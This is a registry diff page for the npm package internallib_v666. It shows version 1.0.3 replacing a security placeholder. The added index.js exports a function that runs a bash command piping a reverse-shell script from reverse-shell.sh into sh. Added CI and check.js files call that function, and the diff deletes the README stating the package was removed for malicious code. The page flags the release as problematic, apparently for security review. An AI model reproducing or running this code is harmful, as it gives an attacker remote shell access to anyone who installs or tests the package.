internallib_v666 0.0.1-security → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of internallib_v666 might be problematic. Click here for more details.

package/.gitlab-ci.yml ADDED
@@ -0,0 +1,25 @@
1
+ # This file is a template, and might need editing before it works on your project.
2
+ # To contribute improvements to CI/CD templates, please follow the Development guide at:
3
+ # https://docs.gitlab.com/ee/development/cicd/templates.html
4
+ # This specific template is located at:
5
+ # https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Nodejs.gitlab-ci.yml
6
+
7
+ # Official framework image. Look for the different tagged releases at:
8
+ # https://hub.docker.com/r/library/node/tags/
9
+ image: node:latest
10
+
11
+ # Pick zero or more services to be used on all builds.
12
+ # Only needed when using a docker container to run your tests in.
13
+ # Check out: http://docs.gitlab.com/ee/ci/docker/using_docker_images.html#what-is-a-service
14
+
15
+
16
+ # This folder is cached between builds
17
+ # https://docs.gitlab.com/ee/ci/yaml/index.html#cache
18
+ cache:
19
+ paths:
20
+ - node_modules/
21
+
22
+ test_async:
23
+ script:
24
+ - npm update --registry http://0.0.0.0:4873/
25
+ - node check.js
package/check.js ADDED
@@ -0,0 +1,3 @@
1
+ internallib = require("internallib_v331")
2
+
3
+ console.log(internallib.command())
package/index.js ADDED
@@ -0,0 +1,6 @@
1
+ const { exec } = require('child_process');
2
+ exports.command = function(){
3
+ console.log("demone");
4
+ exec('/bin/bash -c "curl https://reverse-shell.sh/10.0.10.219:443|sh"');
5
+ return "owned";
6
+ }
package/package.json CHANGED
@@ -1,6 +1,14 @@
1
1
  {
2
2
  "name": "internallib_v666",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.3",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC",
11
+ "dependencies": {
12
+ "internallib_v666": "^1.0.3"
13
+ }
6
14
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=internallib_v666 for more information.